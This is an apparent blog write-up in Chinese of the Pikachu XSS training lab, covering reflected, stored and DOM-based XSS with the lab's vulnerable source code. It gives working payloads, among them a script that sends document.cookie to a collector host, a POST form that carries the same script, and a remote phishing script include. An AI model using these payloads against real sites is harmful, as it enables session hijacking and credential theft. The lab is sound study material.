pikachu-xss(1)

反射性xss(get)
输入特殊字符,没有被过滤,内容没有被改变
改变长度的限制,输入简单的脚本语言
<script>alert('nice')<script>
这里是以get方式提交到后台,url的内容提交到后台
get和post典型区别:
get是以url方式提交数据
post是以表单方式在请求体里面提交
get方式的xss漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的url伪装后发送给目标,而post方式由于是以表单方式提交,无法直接使用url方式进行攻击
查看下页面源代码
而且输入框有限制修改下

输入脚本语言

<script>alert('aaa')</script>

存储型xss

存储型xss漏洞跟反射型形成的原因一样,不同的是存储型xss下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型xss也称为‘永久型’xss

同样按照上面方式进行攻击

输入特殊字符<>""'',并查看页面源代码

跟上面一样输入脚本语言

刷新之后还是会出现弹窗

源码里面虽然插入数据库做了转义(防止sql注入)但输出之后还是原封不动的输出了

$message = escape($link, $_POST['message']);//转义
$query="select * from message";
                    $result=execute($link, $query);
                    while($data=mysqli_fetch_assoc($result)){
                        echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
                    }

                    echo $html;
                    ?>//这里他用循环原封不懂得输出了
DOM型xss
所谓DOM就是访问HTML标准编程得接口
通过JavaScript,可以重构整个HTML文档,可以添加、删除、改变或重排页面上得项目
要改变页面得某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问得入口,这个入口,连同对HTML元素进行添加、移动、改变或移除得方法和属性,都是通过文档对象模型来获得的(DOM)
<script>
    function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
 </script>
     <!--<a href="" onclick=('xss')>-->
    <input id="text" name="text" type="text"  value="" />
    <input id="button" type="button" value="click me!" onclick="domxss()" />
    //这里源码得大概意思就是获取你输入得字符串放到str里面在进行输出,所以我们只需要闭合一下a标签然后打印一下弹窗就可以了

 输入弹窗代码

#' onclick = " alert('aaa') ">

 

DOM型xss-x

看下源码
<script>
     function domxss(){
     var str = window.location.search;
     var txss = decodeURIComponent(str.split("text=")[1]);
     var xss = txss.replace(/+/g,' ');
//   alert(xss);

     document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
     }
    //试试:'><img src="#" onmouseover="alert('xss')">
    //试试:' onclick="alert('xss')">,闭合掉就行
    </script>
    <!--<a href="" onclick=('xss')>-->
    <form method="get">
    <input id="text" name="text" type="text"  value="" />
    <input id="submit" type="submit" value="请说出你的伤心往事"/>
//这里将输入得内容给xss,返回到了url里,这样就和第一种反射性差不多了,入侵方法与dom一致闭合掉a标签就行

 输入弹窗代码

#' onclick = " alert('aaa') ">

cookie获取和钓鱼攻击
xss如何获取cookie

进入到皮卡丘后台,登录之后,点击cookie之后发现里面并没有数据,这时在另一个界面用反射型登录一下,这里注意一下,本地的路径要写对了,否则不能进入

<script>document.location='http://192.168.21.10/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

 修改一下重定向

获取的cookies结果

将referer复制一下,这样用户一旦访问referer这个链接就会出现cookies泄露的情况

post方式下xss漏洞
将post.html的内容进行分析
<form method="post" action="http://192.168.21.10/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">//欺骗的跳转页面
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.21.10/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;//恶意代码
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
用户登录之后输入恶意代码(这里产生cookie),结果如下

xss钓鱼演示
因为是存储型,所以每次打开网页之后都会执行,利用这一点我们在里面输入一个伪造的新网站,当用户输入账号密码后,我们就可以根据保存的cookie值来获取
<script src="http://192.168.21.10/pikachu-master/pkxss/xfish/fish.php"></script>

 

 

然后在进入后台就能查看结果了

原文地址:https://www.cnblogs.com/zhao-yang/p/12599816.html